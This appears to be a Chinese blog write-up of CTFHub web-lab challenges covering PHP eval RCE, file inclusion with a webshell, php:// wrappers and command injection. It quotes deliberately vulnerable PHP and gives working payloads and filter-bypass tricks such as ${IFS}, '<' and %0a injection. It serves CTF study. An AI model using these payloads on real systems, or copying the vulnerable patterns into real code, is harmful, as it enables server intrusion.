RCE。。。

eval执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 
  • eval():把字符串code作为PHP代码执行,允许执行任意PHP代码

  • system()函数:执行系统命令并输出结果

作法:

  1. 在url上get一下,?cmd=system('ls /'); //查看根目录下的文件

  2. 此时会发现一个名字带flag的文件存在,使用?cmd=system('cat /文件名‘); 即可查询出flag

文件包含

 

普通文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
  • if (!strpos($_GET["file"], "flag")) { include $_GET["file"];


    此处调用了**strpos(string,find,strat)**函数,即在string字符串中从strat开始查询find。

    所以此语句意为如果查询不到flag则执行include _GET["file"];语句否则输出“Hacker”

  • 在查看shell.txt文件内容

    <?php eval($_REQUEST['ctfhub']);?>
    

将ctfhub传的参数用PHP执行

  1. 首先get一下 ?file=shell.txt
  2. 再POST ctfhub=system("ls /")来查询flag所在
  3. 最后在使用 cat来查询flag文件夹中的内容

PHP伪协议

  • php://input : 可以将input之后的语句当成php执行

  1.  <?php
    if (isset($_GET['file'])) {
        if ( substr($_GET["file"], 0, 6) === "php://" ) {
            include($_GET["file"]);
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>
    <hr>
    i don't have shell, how to get flag? <br>
    <a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag?
    phpinfo
    
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);

如果file名中六个字符时"php://" 就执行include函数,所以可能为php伪协议又php:input//用于执行php代码,且其条件为allow_url_include是on(查看phpinfo);

因此便可直接构造file=php://input且post参数为,然后查找到flag直接cat即可

  • php://filter : 读取源代码

    php://filter参数描述
    resource=(要过滤的数据流)必选项,指定你要筛选过滤的数据流
    read=读链的过滤器可选,可以设定一个或多个过滤器名称,以管道符' | '分隔
    write=写链的过滤器可选,可以设定一个或多个过滤器名称,以管道符' | '分隔
    ;两个链的过滤器任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
     <?php
    error_reporting(E_ALL);
    if (isset($_GET['file'])) {
        if ( substr($_GET["file"], 0, 6) === "php://" ) {
            include($_GET["file"]);
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>
    <hr>
    i don't have shell, how to get flag? <br>
    flag in <code>/flag</code> 
    /*i don't have shell, how to get flag?
    flag in /flag*/
    

依旧file前面六个字母为php://, 也无木马文件可以用,又说明flag再/flag中,则使用php://filter伪协议

此题很明显啊,flag再/flag里,那就直接file=php://filter/resource=/flag

  • 远程包含

 命令注入

1.shell1 & shell2,既执行shell1的命令也执行shell2的命令,二者同时执行

2.shell1** &&** shell2,在shell1执行成功的情况下执行shell2,shell1执行失败就不会执行shell2,和逻辑与一样;

3.shell1** | shell2,“|”为管道符,它将shell1执行的结果作为shell2的输入,因此无论shell1执行结果如何,都会执行shell2**;

4.shell1** || shell2,在shell1执行失败的情况下执行shell2,shell1执行成功则不会执行**shell2,和逻辑或一样;

其中5 6两点为linux下命令

5.shell1**;**shell2,在Linux系统下会将shell1和shell2都执行;

6.shell1** 'shell2'**,shell2的执行结果会在shell1的报错信息中显示

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>
if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

没有什么其他东西直接拼接即可:127.0.0.1 & ls

 

有一个php文件,直接cat,无显示,查看源代码即可

或者可能存在特殊字符无法回显,使用base64编码即可 .......&cat..... | base64

命令注入—过滤cat


if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
  1. 正常ls:127.0.0.1 & ls 查询出对应的flag文件

  2. !preg_match_all("/cat/", $ip, $m)
    

    显然这句话过滤了cat,即不可使用cat去读取flag文件,但是读取文件命令有多种,因此另选其他读取文件命令即可:读取文件命令有:

cat从第一行开始显示文本内容(适用于内容较少的)
Tac从最后一行开始显示,是cat的逆序
More一页一页地显示文本内容(适用于内容较多的)
less与more类似,但是它可以往前翻页
tail只看文本后面几行
head只看文本前面几行
nl显示文本内容与行号

此处便使用nl命令,127.0.0.1 & nl 对应的flag文件 即可得到flag

命令注入—过滤空格

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
!preg_match_all("/ /", $ip, $m)

显然这句代码过滤了空格,自然普通语句就不太行了;

  1. ls的改动显然比较简单:127.0.0.1&ls 直接去掉空格即可

  2. 但cat就有些值得思考了,cat flag* 中间的空格不是简单去掉就行了,这便引入了绕过过滤空格的字符:

    < , <> , %20(space) , %09(tab) ,  $IFS$9 , ${IFS} , $IFS
    

    那么随便选一个即可:127.0.0.1&cat<falg*

过滤目录分隔符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

其中

!preg_match_all("/\//",$ip, $m)

显然过滤了目录分隔符/

对题

简单ls一下,发现flag文件不在根目录中,在flag_is_here中

 

在无任何附加条件下应当为ls /flag_is_here ,但该题过滤了‘/’,所以行不通,于是便可以使用cd命令进行跳转到flag_is_here文件夹中,此处可以用多种写法:127.0.0.1;cd flag_is_here;ls 或者127.0.0.1 & cd flag_is_here && ls

 

得到flag文件,在使用127.0.0.1;cd flag_is_here;cat flag_314622448428001.php

再查看源代码,找到flag即可;

过滤运算符

运算符有 || & && | ; 当过滤其中一种或者多种时用其他未被过滤的运算符进行拼接

综合

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

先看代码,过滤了| & ;cat flag ctfhub 以及空格

其中%0a可以代替绕过& ;

做题

输入命令127.0.0.1%0als,但是注意如果是在页面中输入那么当到达url上时会进行一次url编码,那么%0a—》%250a就与原意不同,所以此次命令必须直接输入在url上

 

从而得到flag所在文件夹flag_is_here

此处正常应该是127.0.0.1;cd ....;ls 但由于flag被过滤因此flag_is_here应换为fla‘’g_is_here或者fla$*g_is_here,其中‘’和$*在shell命令执行下为空

便得到对应的flag文件

 

再执行

127.0.0.1%0Acd${IFS}fla''g_is_here%0Acat${IFS}fla''g......
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值